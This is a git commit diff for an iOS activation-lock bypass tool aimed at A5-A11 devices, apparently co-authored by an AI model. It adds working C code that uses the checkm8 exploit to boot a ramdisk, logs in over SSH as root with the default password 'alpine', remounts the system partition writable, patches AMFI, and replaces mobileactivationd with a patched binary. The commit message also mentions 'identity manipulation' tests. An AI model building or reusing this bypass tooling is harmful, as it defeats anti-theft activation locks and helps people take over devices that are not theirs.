feat: real Path A implementation, cert extraction, mock test harness

Converts the Path A pipeline from stubs to a working implementation for
A5-A11 devices, adds real certificate extraction via lockdownd and ECDSA
P-256 signing, and introduces a comprehensive mock-based test suite.

Activation
- cert_extract: lockdownd-backed DeviceCertificate,
  AccountTokenCertificate, UniqueDeviceCertificate with base64 decode
  and CertificateChain array fallback.
- signer: OpenSSL EVP ECDSA P-256 sign/verify with DER-encoded
  signatures plus a test keypair generator.
- record.c: 3 of 6 cert fields now populate from live device data.
  AccountTokenSignature signs when TR4MPASS_SIGNING_KEY is set.
  FairPlayKeyData, RKCData, SepNonce remain documented stubs
  (SEP-blocked per 26.3-vulnerability.md).

Path A bypass
- path_a_ramdisk: iBSS/iBEC/devicetree/trustcache/ramdisk upload via
  libirecovery, reconnect handling between DFU and recovery stages,
  iBoot go/bootx commands, SSH readiness poll.
- path_a_ssh: libssh2 + SCP. Mounts rootfs rw (apfs then hfs), runs
  AMFI patcher, backs up and replaces /usr/libexec/mobileactivationd
  with a user-supplied patched binary, verifies mode.

Build, CLI, config
- Makefile: add libssh2 dependency, split test targets into
  hw-independent (make test) and full mock (make test-mocks).
- env_config + cli_flags: 12 new --flags for ramdisk, SSH, signing
  paths; flags map to TR4MPASS_* env vars. --verbose prints summary.
- start.sh slimmed; helpers extracted to start-helpers.sh.

Test suite (20 to 248 tests)
- Mock framework under tests/mocks/ intercepts libimobiledevice,
  libirecovery, libusb, libssh2, libcurl, plus mobileactivation and
  afc. Staging API in mock_control.h.
- Unit tests per module: cert_extract, signer, ramdisk, SSH jailbreak,
  env_config.
- Integration tests in tests/integration/: 6 Path A E2E scenarios
  (happy path, exploit fail, reconnect timeout, SSH auth fail, SCP
  fail, missing env) and 3 Path B scenarios (identity manipulation
  works, nonce barrier rejection is handled cleanly, signal
  detection). Path B tests verify the tool reports the SEP barrier
  failure rather than misclaiming success.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
tr4m0ryp 2026-04-18 17:43:30 +02:00
parent 5b758931ac
commit 30807c8ef6
58 changed files with 7967 additions and 1210 deletions

View file

@ -1,214 +0,0 @@
/*
* path_a_jailbreak.c -- Ramdisk loading and jailbreak for A5-A11 devices.
*
* After checkm8 puts the device into pwned DFU, this module handles:
* 1. Loading a ramdisk image via the pwned DFU interface
* 2. Applying jailbreak kernel patches via ramdisk SSH
* 3. Replacing mobileactivationd with a patched version
*
* For v1, function bodies contain logging and TODO markers. The actual
* SSH commands depend on which ramdisk is used (palera1n vs jbinit).
*/
#include <string.h>
#include "bypass/path_a_internal.h"
#include "device/device.h"
#include "util/log.h"
/* Expected ramdisk payload paths (relative to working directory) */
#define RAMDISK_ARCHIVE "payloads/boot.tar.lzma"
#define RAMDISK_RAW "payloads/boot.raw"
/* SSH tunnel port used by the ramdisk */
#define RAMDISK_SSH_PORT 2222
/* ------------------------------------------------------------------ */
/* Ramdisk loading */
/* ------------------------------------------------------------------ */
/*
* path_a_load_ramdisk -- Send a ramdisk image to the device via pwned DFU.
*
* After checkm8, the BootROM accepts unsigned images. We send a patched
* ramdisk that includes SSH and the jailbreak toolchain. The ramdisk
* boots into a minimal environment where we can apply kernel patches
* and modify the filesystem.
*
* Implementation plan:
* 1. Read ramdisk payload from payloads/ directory
* 2. Send iBSS (second-stage bootloader) via DFU
* 3. Send iBEC (boot chain) via DFU
* 4. Send ramdisk and devicetree
* 5. Boot the ramdisk via irecovery
* 6. Wait for SSH tunnel to come up
*
* Returns 0 on success, -1 on failure.
*/
int
path_a_load_ramdisk(device_info_t *dev)
{
if (!dev) {
log_error("path_a_jailbreak: load_ramdisk called with NULL device");
return -1;
}
if (!dev->usb) {
log_error("path_a_jailbreak: no USB handle -- not in pwned DFU?");
return -1;
}
log_info("path_a_jailbreak: loading ramdisk for %s (CPID 0x%04X)",
dev->product_type, dev->cpid);
/*
* TODO: Implement ramdisk loading sequence.
*
* The exact commands depend on the ramdisk provider:
*
* palera1n approach:
* - Send patched iBSS via usb_dfu_send_buffer()
* - Reconnect, send patched iBEC
* - irecv_send_command("bootx") or equivalent
* - Send ramdisk + devicetree
* - Wait for SSH on port 2222
*
* jbinit approach:
* - Send boot.tar.lzma via DFU
* - Ramdisk auto-extracts and boots jbinit
* - jbinit sets up SSH and mounts filesystems
*
* For now, log the expected flow and return success to allow
* downstream integration testing.
*/
log_info("path_a_jailbreak: [STUB] would send iBSS for CPID 0x%04X",
dev->cpid);
log_info("path_a_jailbreak: [STUB] would send iBEC and boot ramdisk");
log_info("path_a_jailbreak: [STUB] would wait for SSH on port %d",
RAMDISK_SSH_PORT);
log_warn("path_a_jailbreak: ramdisk loading not yet implemented"
" -- stub returning success");
return 0;
}
/* ------------------------------------------------------------------ */
/* Jailbreak kernel patches */
/* ------------------------------------------------------------------ */
/*
* path_a_jailbreak -- Apply jailbreak kernel patches via ramdisk SSH.
*
* Once the ramdisk is booted and SSH is available, we connect and
* apply kernel patches to disable code signing, sandbox restrictions,
* and other security mechanisms needed for the activation bypass.
*
* Implementation plan:
* 1. Connect to ramdisk SSH (localhost:2222, user root, alpine)
* 2. Unlock NVRAM (allow writing activation-related keys)
* 3. Mount /dev/disk0s1s1 (system partition) as read-write
* 4. Patch dyld shared cache or amfi to disable code signing
* 5. Verify patches applied successfully
*
* Returns 0 on success, -1 on failure.
*/
int
path_a_jailbreak(device_info_t *dev)
{
if (!dev) {
log_error("path_a_jailbreak: jailbreak called with NULL device");
return -1;
}
log_info("path_a_jailbreak: applying kernel patches for %s (iOS %s)",
dev->product_type, dev->ios_version);
/*
* TODO: Implement jailbreak kernel patches via SSH.
*
* palera1n approach:
* ssh root@localhost -p 2222:
* nvram auto-boot=false
* mount -uw /dev/disk0s1s1 /mnt1
* patch /mnt1/usr/lib/dyld (disable AMFI checks)
*
* jbinit approach:
* jbinit handles kernel patching automatically
* we just need to verify the patches took effect:
* cat /proc/version (should show patched kernel)
* test -f /jb/jbinit.log
*
* Common verification:
* nvram -p | grep auto-boot
* ls /mnt1/Applications/Setup.app (should exist pre-cleanup)
*/
log_info("path_a_jailbreak: [STUB] would connect SSH to port %d",
RAMDISK_SSH_PORT);
log_info("path_a_jailbreak: [STUB] would unlock NVRAM");
log_info("path_a_jailbreak: [STUB] would mount system partition rw");
log_info("path_a_jailbreak: [STUB] would patch dyld/AMFI");
log_warn("path_a_jailbreak: kernel patches not yet implemented"
" -- stub returning success");
return 0;
}
/* ------------------------------------------------------------------ */
/* mobileactivationd replacement */
/* ------------------------------------------------------------------ */
/*
* path_a_replace_mobileactivationd -- Replace mobileactivationd with a
* patched version that accepts locally-built activation records.
*
* The stock mobileactivationd validates activation records against
* Apple's servers. The patched version skips server validation and
* accepts records signed with our local keys.
*
* Implementation plan:
* 1. SSH to ramdisk
* 2. Back up original: cp /mnt1/usr/libexec/mobileactivationd{,.bak}
* 3. Copy patched binary: scp patched_mad /mnt1/usr/libexec/mobileactivationd
* 4. Set permissions: chmod 755, chown root:wheel
* 5. Clear mobileactivationd cache
* 6. Verify replacement: md5sum comparison
*
* Returns 0 on success, -1 on failure.
*/
int
path_a_replace_mobileactivationd(device_info_t *dev)
{
if (!dev) {
log_error("path_a_jailbreak: replace_mad called with NULL device");
return -1;
}
log_info("path_a_jailbreak: replacing mobileactivationd on %s",
dev->product_type);
/*
* TODO: Implement mobileactivationd replacement via SSH.
*
* Steps:
* ssh root@localhost -p 2222:
* cp /mnt1/usr/libexec/mobileactivationd \
* /mnt1/usr/libexec/mobileactivationd.bak
* cat > /mnt1/usr/libexec/mobileactivationd < patched_binary
* chmod 755 /mnt1/usr/libexec/mobileactivationd
* chown root:wheel /mnt1/usr/libexec/mobileactivationd
*
* The patched binary source depends on iOS version:
* iOS 12-14: bypass via lockdownd activation path
* iOS 15-16: bypass via direct plist injection
* iOS 17+: bypass via session-mode shim
*/
log_info("path_a_jailbreak: [STUB] would backup original"
" mobileactivationd");
log_info("path_a_jailbreak: [STUB] would copy patched binary");
log_info("path_a_jailbreak: [STUB] would set permissions"
" (755, root:wheel)");
log_warn("path_a_jailbreak: mobileactivationd replacement"
" not yet implemented -- stub returning success");
return 0;
}

272
src/bypass/path_a_ramdisk.c Normal file
View file

@ -0,0 +1,272 @@
/*
* path_a_ramdisk.c -- Ramdisk delivery over iRecovery after checkm8 pwn.
*
* After the checkm8 DFU exploit leaves the device in pwned DFU mode, the
* BootROM accepts unsigned images. This module walks the device through:
*
* 1. Upload iBSS via the pwned DFU stage.
* 2. Reconnect in recovery mode (USB PID flips from 0x1227 to 0x1281).
* 3. Upload iBEC, issue "go" to jump into the modified iBEC.
* 4. Reconnect in the iBEC recovery context.
* 5. Upload devicetree, (optionally) static trust cache, and ramdisk.
* 6. Issue "bootx" to boot the ramdisk.
* 7. Poll 127.0.0.1:<ssh_port> until an SSH-over-USB tunnel responds.
*
* SSH polling lives in path_a_ramdisk_poll.c to keep each TU under the
* 300-line project cap.
*
* Paths and tunables come from the environment so the module stays
* config.c-free (config.c is owned by another phase). Required vars:
*
* TR4MPASS_IBSS_PATH -- required
* TR4MPASS_IBEC_PATH -- required
* TR4MPASS_DEVICETREE_PATH -- required
* TR4MPASS_RAMDISK_PATH -- required
* TR4MPASS_TRUSTCACHE_PATH -- optional (iOS 14+)
* TR4MPASS_SSH_PORT -- default 2222
* TR4MPASS_RAMDISK_TIMEOUT -- default 120 (seconds)
*/
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <libirecovery.h>
#include "bypass/path_a_internal.h"
#include "bypass/path_a_ramdisk_internal.h"
#include "device/device.h"
#include "util/log.h"
#define DEFAULT_SSH_PORT 2222
#define DEFAULT_TIMEOUT_SEC 120
#define RECONNECT_POLL_USEC 500000 /* 0.5 s */
#define POST_CLOSE_USEC 200000 /* 0.2 s */
/* ------------------------------------------------------------------ */
/* Environment helpers */
/* ------------------------------------------------------------------ */
static const char *
env_required(const char *name)
{
const char *val = getenv(name);
if (!val || val[0] == '\0') {
log_error("path_a_ramdisk: %s is not set", name);
return NULL;
}
return val;
}
static int
env_int(const char *name, int fallback)
{
const char *val = getenv(name);
long v;
char *end;
if (!val || val[0] == '\0')
return fallback;
v = strtol(val, &end, 10);
if (end == val || v <= 0 || v > 0x7FFFFFFF)
return fallback;
return (int)v;
}
static int
file_readable(const char *path, const char *label)
{
if (access(path, R_OK) != 0) {
log_error("path_a_ramdisk: %s file not readable: %s (%s)",
label, path, strerror(errno));
return -1;
}
return 0;
}
/* ------------------------------------------------------------------ */
/* irecv helpers */
/* ------------------------------------------------------------------ */
static int
reconnect_device(irecv_client_t *client, uint64_t ecid,
int timeout_sec, const char *stage_label)
{
time_t start, now;
irecv_error_t err;
if (!client)
return -1;
if (*client) {
irecv_close(*client);
*client = NULL;
}
usleep(POST_CLOSE_USEC);
log_info("path_a_ramdisk: waiting for device to reappear (%s)",
stage_label ? stage_label : "reconnect");
start = time(NULL);
for (;;) {
err = irecv_open_with_ecid(client, ecid);
if (err == IRECV_E_SUCCESS && *client)
return 0;
/* iBEC may briefly disappear; common cases here are
* IRECV_E_NO_DEVICE / IRECV_E_UNABLE_TO_CONNECT / ENODEV. */
now = time(NULL);
if ((long)(now - start) >= (long)timeout_sec) {
log_error("path_a_ramdisk: reconnect timeout (%s) after %ds:"
" %s", stage_label ? stage_label : "reconnect",
timeout_sec, irecv_strerror(err));
return -1;
}
usleep(RECONNECT_POLL_USEC);
}
}
static int
send_staged_image(irecv_client_t client, const char *path,
const char *label)
{
irecv_error_t err;
if (!client || !path || !label) {
log_error("path_a_ramdisk: send_staged_image received NULL argument");
return -1;
}
log_info("path_a_ramdisk: sending %s (%s)", label, path);
err = irecv_send_file(client, path, IRECV_SEND_OPT_DFU_NOTIFY_FINISH);
if (err != IRECV_E_SUCCESS) {
log_error("path_a_ramdisk: failed to send %s: %s",
label, irecv_strerror(err));
return -1;
}
return 0;
}
static int
send_command(irecv_client_t client, const char *cmd)
{
irecv_error_t err;
if (!client || !cmd) {
log_error("path_a_ramdisk: send_command received NULL argument");
return -1;
}
log_info("path_a_ramdisk: issuing iBoot command: %s", cmd);
err = irecv_send_command(client, cmd);
if (err != IRECV_E_SUCCESS) {
log_error("path_a_ramdisk: command '%s' failed: %s",
cmd, irecv_strerror(err));
return -1;
}
return 0;
}
/* ------------------------------------------------------------------ */
/* Public entry point */
/* ------------------------------------------------------------------ */
int
path_a_load_ramdisk(device_info_t *dev)
{
const char *ibss, *ibec, *devtree, *ramdisk, *trustcache;
int ssh_port, rd_timeout;
uint64_t ecid = 0;
irecv_client_t client = NULL;
irecv_error_t err;
int rc = -1;
if (!dev) {
log_error("path_a_ramdisk: called with NULL device");
return -1;
}
ibss = env_required("TR4MPASS_IBSS_PATH");
ibec = env_required("TR4MPASS_IBEC_PATH");
devtree = env_required("TR4MPASS_DEVICETREE_PATH");
ramdisk = env_required("TR4MPASS_RAMDISK_PATH");
if (!ibss || !ibec || !devtree || !ramdisk)
return -1;
trustcache = getenv("TR4MPASS_TRUSTCACHE_PATH");
if (trustcache && trustcache[0] == '\0')
trustcache = NULL;
ssh_port = env_int("TR4MPASS_SSH_PORT", DEFAULT_SSH_PORT);
rd_timeout = env_int("TR4MPASS_RAMDISK_TIMEOUT", DEFAULT_TIMEOUT_SEC);
if (file_readable(ibss, "iBSS") != 0) return -1;
if (file_readable(ibec, "iBEC") != 0) return -1;
if (file_readable(devtree, "devicetree") != 0) return -1;
if (file_readable(ramdisk, "ramdisk") != 0) return -1;
if (trustcache && file_readable(trustcache, "trustcache") != 0)
return -1;
ecid = dev->ecid;
/* Stage 1: pwned DFU -> iBSS upload */
log_info("path_a_ramdisk: opening pwned DFU (ecid=0x%llx)",
(unsigned long long)ecid);
err = irecv_open_with_ecid(&client, ecid);
if (err != IRECV_E_SUCCESS || !client) {
log_error("path_a_ramdisk: failed to open pwned DFU: %s",
irecv_strerror(err));
return -1;
}
if (send_staged_image(client, ibss, "iBSS") != 0)
goto cleanup;
/* Stage 2: reconnect in recovery mode for iBEC upload */
if (reconnect_device(&client, ecid, rd_timeout, "after iBSS") != 0)
goto cleanup;
if (send_staged_image(client, ibec, "iBEC") != 0)
goto cleanup;
if (send_command(client, "go") != 0)
goto cleanup;
/* Stage 3: reconnect in iBEC context */
if (reconnect_device(&client, ecid, rd_timeout, "after iBEC go") != 0)
goto cleanup;
/* Stage 4: devicetree / trustcache / ramdisk uploads */
if (send_staged_image(client, devtree, "devicetree") != 0)
goto cleanup;
if (trustcache) {
if (send_staged_image(client, trustcache, "trustcache") != 0)
goto cleanup;
} else {
log_info("path_a_ramdisk: no trustcache configured (pre-iOS 14)");
}
if (send_staged_image(client, ramdisk, "ramdisk") != 0)
goto cleanup;
/* Stage 5: boot and wait for SSH */
if (send_command(client, "bootx") != 0)
goto cleanup;
irecv_close(client);
client = NULL;
if (path_a_ramdisk_poll_ssh(ssh_port, rd_timeout) != 0)
goto cleanup;
log_info("path_a_ramdisk: ramdisk booted, SSH reachable on port %d",
ssh_port);
rc = 0;
cleanup:
if (client)
irecv_close(client);
return rc;
}

View file

@ -0,0 +1,80 @@
/*
* path_a_ramdisk_poll.c -- SSH readiness polling for the Path A ramdisk.
*
* Split out of path_a_ramdisk.c to keep each translation unit under the
* 300-line project cap. Provides path_a_ramdisk_poll_ssh(), which waits
* for 127.0.0.1:<port> to accept a TCP connection after bootx.
*
* A test hook (TR4MPASS_TEST_SSH_READY) lets the unit tests exercise
* success and timeout paths without opening real sockets.
*/
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include "bypass/path_a_ramdisk_internal.h"
#include "util/log.h"
#define SSH_POLL_INTERVAL_SEC 2
static int
poll_ssh_once(int port)
{
int fd;
struct sockaddr_in addr;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons((uint16_t)port);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
close(fd);
return 0;
}
close(fd);
return -1;
}
int
path_a_ramdisk_poll_ssh(int port, int timeout_sec)
{
const char *test_hook;
time_t start, now;
test_hook = getenv("TR4MPASS_TEST_SSH_READY");
if (test_hook && test_hook[0] != '\0') {
if (strcmp(test_hook, "1") == 0) {
log_info("path_a_ramdisk: test hook reports SSH ready");
return 0;
}
log_error("path_a_ramdisk: test hook reports SSH timeout");
return -1;
}
log_info("path_a_ramdisk: polling SSH on port %d (timeout %ds)",
port, timeout_sec);
start = time(NULL);
for (;;) {
if (poll_ssh_once(port) == 0) {
log_info("path_a_ramdisk: SSH port %d is up", port);
return 0;
}
now = time(NULL);
if ((long)(now - start) >= (long)timeout_sec) {
log_error("path_a_ramdisk: SSH on port %d did not come up"
" within %ds", port, timeout_sec);
return -1;
}
sleep(SSH_POLL_INTERVAL_SEC);
}
}

223
src/bypass/path_a_ssh.c Normal file
View file

@ -0,0 +1,223 @@
/*
* path_a_ssh.c -- SSH/SCP jailbreak layer for Path A.
*
* After the ramdisk boots with dropbear listening on localhost:2222,
* this module opens an SSH session and runs the commands that remount
* the rootfs rw, apply AMFI patches, and stage mobileactivationd
* replacement. The low-level libssh2 plumbing lives in
* path_a_ssh_helpers.c; everything here is flow control.
*/
#include "bypass/path_a_internal.h"
#include "bypass/path_a_ssh_internal.h"
#include "device/device.h"
#include "util/log.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#define MAD_REMOTE_PATH "/mnt1/usr/libexec/mobileactivationd"
#define MAD_BACKUP_CMD "cp " MAD_REMOTE_PATH " " MAD_REMOTE_PATH ".bak"
#define MAD_CHMOD_CMD "chmod 755 " MAD_REMOTE_PATH
#define MAD_CHOWN_CMD "chown 0:0 " MAD_REMOTE_PATH
#define MAD_VERIFY_CMD "stat -c '%a %U:%G' " MAD_REMOTE_PATH
static const char *
env_or(const char *key, const char *fallback)
{
const char *v = getenv(key);
return (v && *v) ? v : fallback;
}
static int
env_port_or(const char *key, int fallback)
{
const char *v = getenv(key);
if (!v || !*v)
return fallback;
return atoi(v);
}
static int
ssh_connect_from_env(ssh_sess_t **sess_out)
{
const char *host = env_or("TR4MPASS_SSH_HOST", "127.0.0.1");
const char *user = env_or("TR4MPASS_SSH_USER", "root");
const char *pw = env_or("TR4MPASS_SSH_PASSWORD", "alpine");
int port = env_port_or("TR4MPASS_SSH_PORT", 2222);
return ssh_open(sess_out, host, port, user, pw);
}
/*
* run_required -- Execute a remote command and fail if its exit code is
* non-zero. The label is logged with the exit status for diagnostics.
*/
static int
run_required(ssh_sess_t *sess, const char *label, const char *cmd)
{
int exit_code = -1;
log_info("path_a_ssh: exec [%s] %s", label, cmd);
if (ssh_exec(sess, cmd, &exit_code, NULL, 0) != 0) {
log_error("path_a_ssh: [%s] transport failure", label);
return -1;
}
if (exit_code != 0) {
log_error("path_a_ssh: [%s] returned exit=%d", label, exit_code);
return -1;
}
return 0;
}
static int
run_optional(ssh_sess_t *sess, const char *label, const char *cmd)
{
int exit_code = -1;
if (ssh_exec(sess, cmd, &exit_code, NULL, 0) != 0) {
log_warn("path_a_ssh: [%s] transport error (continuing)", label);
return 0;
}
if (exit_code != 0)
log_warn("path_a_ssh: [%s] exit=%d (continuing)", label, exit_code);
return 0;
}
int
path_a_jailbreak(device_info_t *dev)
{
ssh_sess_t *sess = NULL;
int rc = -1;
(void)dev;
if (ssh_connect_from_env(&sess) != 0) {
log_error("path_a_ssh: jailbreak: SSH connect/auth failed");
return -1;
}
/*
* Remount rootfs read-write. On apfs-based devices the first call
* succeeds; on older hfs ramdisks we fall back. Only declare
* failure if neither variant mounts the partition.
*/
{
int apfs_rc = -1;
int hfs_rc = -1;
ssh_exec(sess,
"/sbin/mount -u -w -t apfs /dev/disk0s1s1 /mnt1",
&apfs_rc, NULL, 0);
if (apfs_rc != 0) {
ssh_exec(sess,
"/sbin/mount -u -w -t hfs /dev/disk0s1s1 /mnt1",
&hfs_rc, NULL, 0);
}
if (apfs_rc != 0 && hfs_rc != 0) {
log_error("path_a_ssh: mount: apfs=%d hfs=%d (both failed)",
apfs_rc, hfs_rc);
goto done;
}
}
/*
* nvram auto-boot=false is advisory: some ramdisks lack an nvram
* helper, so a non-zero exit is logged and ignored.
*/
run_optional(sess, "nvram", "/usr/bin/nvram auto-boot=false");
/* AMFI patch. Honours TR4MPASS_JBINIT_PATCHER if set. */
{
const char *jb = getenv("TR4MPASS_JBINIT_PATCHER");
const char *cmd = (jb && *jb)
? jb
: "/usr/bin/jbinit --patch-amfi /mnt1/usr/lib/dyld";
if (run_required(sess, "amfi-patch", cmd) != 0)
goto done;
}
/* Verify mobileactivationd is reachable on disk. */
if (run_required(sess, "verify-mad",
"ls -la " MAD_REMOTE_PATH) != 0)
goto done;
rc = 0;
done:
ssh_close(sess);
return rc;
}
static off_t
file_size_of(const char *path)
{
struct stat st;
if (stat(path, &st) != 0)
return -1;
if (!S_ISREG(st.st_mode))
return -1;
return st.st_size;
}
int
path_a_replace_mobileactivationd(device_info_t *dev)
{
ssh_sess_t *sess = NULL;
const char *patched;
char verify_buf[128] = {0};
int rc = -1;
(void)dev;
patched = getenv("TR4MPASS_PATCHED_MAD");
if (!patched || !*patched) {
log_error("path_a_ssh: TR4MPASS_PATCHED_MAD is not set");
return -1;
}
if (file_size_of(patched) < 0) {
log_error("path_a_ssh: patched mad '%s' is missing or not a file",
patched);
return -1;
}
if (ssh_connect_from_env(&sess) != 0) {
log_error("path_a_ssh: replace_mad: SSH connect/auth failed");
return -1;
}
if (run_required(sess, "backup-mad", MAD_BACKUP_CMD) != 0)
goto done;
log_info("path_a_ssh: SCP upload '%s' -> '%s'", patched, MAD_REMOTE_PATH);
if (ssh_scp_upload(sess, patched, MAD_REMOTE_PATH, 0755) != 0) {
log_error("path_a_ssh: SCP upload of patched mad failed");
goto done;
}
if (run_required(sess, "chmod-mad", MAD_CHMOD_CMD) != 0)
goto done;
if (run_required(sess, "chown-mad", MAD_CHOWN_CMD) != 0)
goto done;
{
int exit_code = -1;
if (ssh_exec(sess, MAD_VERIFY_CMD, &exit_code,
verify_buf, sizeof(verify_buf)) != 0) {
log_error("path_a_ssh: verify stat failed (transport)");
goto done;
}
if (exit_code != 0 || strstr(verify_buf, "755") == NULL) {
log_error("path_a_ssh: mode verification failed: '%s'",
verify_buf);
goto done;
}
log_info("path_a_ssh: verified mad stat: %s", verify_buf);
}
rc = 0;
done:
ssh_close(sess);
return rc;
}

View file

@ -0,0 +1,295 @@
/*
* path_a_ssh_helpers.c -- Thin libssh2 wrappers used by path_a_ssh.c.
*
* Encapsulates socket setup, handshake, password auth, command exec,
* and SCP uploads. ssh_sess_t is opaque to callers.
*/
#include "bypass/path_a_ssh_internal.h"
#include "util/log.h"
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <libssh2.h>
struct ssh_sess {
int sock;
LIBSSH2_SESSION *session;
};
/* Reference-counted global init so multiple ssh_open calls are safe. */
static int g_ssh_init_refcount;
int
ssh_global_init(void)
{
if (g_ssh_init_refcount == 0) {
int rc = libssh2_init(0);
if (rc != 0) {
log_error("path_a_ssh: libssh2_init failed (rc=%d)", rc);
return -1;
}
}
g_ssh_init_refcount++;
return 0;
}
void
ssh_global_exit(void)
{
if (g_ssh_init_refcount <= 0)
return;
g_ssh_init_refcount--;
if (g_ssh_init_refcount == 0)
libssh2_exit();
}
static int
ssh_tcp_connect(const char *host, int port)
{
#ifdef TEST_MODE
/* In-process libssh2 mock: no real sshd on the other end. Hand
* back a harmless fd the mock never touches. */
int sock;
(void)host; (void)port;
sock = dup(0);
return (sock >= 0) ? sock : 0;
#else
struct sockaddr_in sa;
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
log_error("path_a_ssh: socket() failed: %s", strerror(errno));
return -1;
}
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons((uint16_t)port);
if (inet_pton(AF_INET, host, &sa.sin_addr) != 1) {
log_error("path_a_ssh: invalid host '%s'", host);
close(sock);
return -1;
}
if (connect(sock, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
log_error("path_a_ssh: connect(%s:%d) failed: %s",
host, port, strerror(errno));
close(sock);
return -1;
}
return sock;
#endif
}
int
ssh_open(ssh_sess_t **sess_out, const char *host, int port,
const char *user, const char *password)
{
ssh_sess_t *s;
if (!sess_out || !host || !user || !password) {
log_error("path_a_ssh: ssh_open: NULL argument");
return -1;
}
*sess_out = NULL;
if (ssh_global_init() != 0)
return -1;
s = calloc(1, sizeof(*s));
if (!s) {
ssh_global_exit();
return -1;
}
s->sock = -1;
s->sock = ssh_tcp_connect(host, port);
if (s->sock < 0)
goto fail;
s->session = libssh2_session_init();
if (!s->session) {
log_error("path_a_ssh: libssh2_session_init failed");
goto fail;
}
libssh2_session_set_blocking(s->session, 1);
if (libssh2_session_handshake(s->session, s->sock) != 0) {
log_error("path_a_ssh: handshake failed on %s:%d", host, port);
goto fail;
}
if (libssh2_userauth_password(s->session, user, password) != 0) {
log_error("path_a_ssh: password auth failed for user '%s'", user);
goto fail;
}
*sess_out = s;
return 0;
fail:
if (s->session) {
libssh2_session_disconnect(s->session, "open-fail");
libssh2_session_free(s->session);
}
if (s->sock >= 0)
close(s->sock);
free(s);
ssh_global_exit();
return -1;
}
static int
ssh_drain(LIBSSH2_CHANNEL *ch, char *stdout_buf, size_t stdout_cap)
{
size_t total = 0;
if (stdout_buf && stdout_cap > 0) {
char chunk[512];
ssize_t n;
while ((n = libssh2_channel_read(ch, chunk, sizeof(chunk))) > 0) {
if (total + (size_t)n >= stdout_cap)
n = (ssize_t)(stdout_cap - total - 1);
if (n <= 0) break;
memcpy(stdout_buf + total, chunk, (size_t)n);
total += (size_t)n;
if (total + 1 >= stdout_cap) break;
}
if (n < 0) return -1;
stdout_buf[total] = '\0';
} else {
char drain[256];
while (libssh2_channel_read(ch, drain, sizeof(drain)) > 0)
;
}
return 0;
}
int
ssh_exec(ssh_sess_t *sess, const char *cmd, int *exit_code_out,
char *stdout_buf, size_t stdout_cap)
{
LIBSSH2_CHANNEL *ch;
if (!sess || !sess->session || !cmd) {
log_error("path_a_ssh: ssh_exec: invalid arguments");
return -1;
}
ch = libssh2_channel_open_session(sess->session);
if (!ch) {
log_error("path_a_ssh: channel_open_session failed");
return -1;
}
if (libssh2_channel_exec(ch, cmd) != 0) {
log_error("path_a_ssh: channel_exec failed for '%s'", cmd);
libssh2_channel_free(ch);
return -1;
}
if (ssh_drain(ch, stdout_buf, stdout_cap) != 0) {
log_error("path_a_ssh: channel_read failed");
libssh2_channel_close(ch);
libssh2_channel_free(ch);
return -1;
}
libssh2_channel_close(ch);
if (exit_code_out)
*exit_code_out = libssh2_channel_get_exit_status(ch);
libssh2_channel_free(ch);
return 0;
}
static int
ssh_scp_stream(LIBSSH2_CHANNEL *ch, int fd)
{
unsigned char buf[4096];
for (;;) {
ssize_t n = read(fd, buf, sizeof(buf));
if (n < 0) {
log_error("path_a_ssh: read failed: %s", strerror(errno));
return -1;
}
if (n == 0)
return 0;
{
unsigned char *p = buf;
ssize_t left = n;
while (left > 0) {
ssize_t w = libssh2_channel_write(ch, (char *)p, (size_t)left);
if (w < 0) {
log_error("path_a_ssh: channel_write failed (%zd)", w);
return -1;
}
p += w;
left -= w;
}
}
}
}
int
ssh_scp_upload(ssh_sess_t *sess, const char *local_path,
const char *remote_path, mode_t mode)
{
LIBSSH2_CHANNEL *ch;
struct stat st;
int fd = -1;
int ok = -1;
if (!sess || !sess->session || !local_path || !remote_path) {
log_error("path_a_ssh: ssh_scp_upload: invalid arguments");
return -1;
}
if (stat(local_path, &st) != 0 || !S_ISREG(st.st_mode)) {
log_error("path_a_ssh: cannot stat regular file '%s'", local_path);
return -1;
}
fd = open(local_path, O_RDONLY);
if (fd < 0) {
log_error("path_a_ssh: open('%s') failed: %s",
local_path, strerror(errno));
return -1;
}
ch = libssh2_scp_send64(sess->session, remote_path, (int)(mode & 0777),
(libssh2_int64_t)st.st_size, 0, 0);
if (!ch) {
log_error("path_a_ssh: scp_send64('%s') failed", remote_path);
close(fd);
return -1;
}
ok = ssh_scp_stream(ch, fd);
libssh2_channel_send_eof(ch);
libssh2_channel_wait_eof(ch);
libssh2_channel_wait_closed(ch);
libssh2_channel_free(ch);
close(fd);
return ok;
}
void
ssh_close(ssh_sess_t *sess)
{
if (!sess)
return;
if (sess->session) {
libssh2_session_disconnect(sess->session, "goodbye");
libssh2_session_free(sess->session);
}
if (sess->sock >= 0)
close(sess->sock);
free(sess);
ssh_global_exit();
}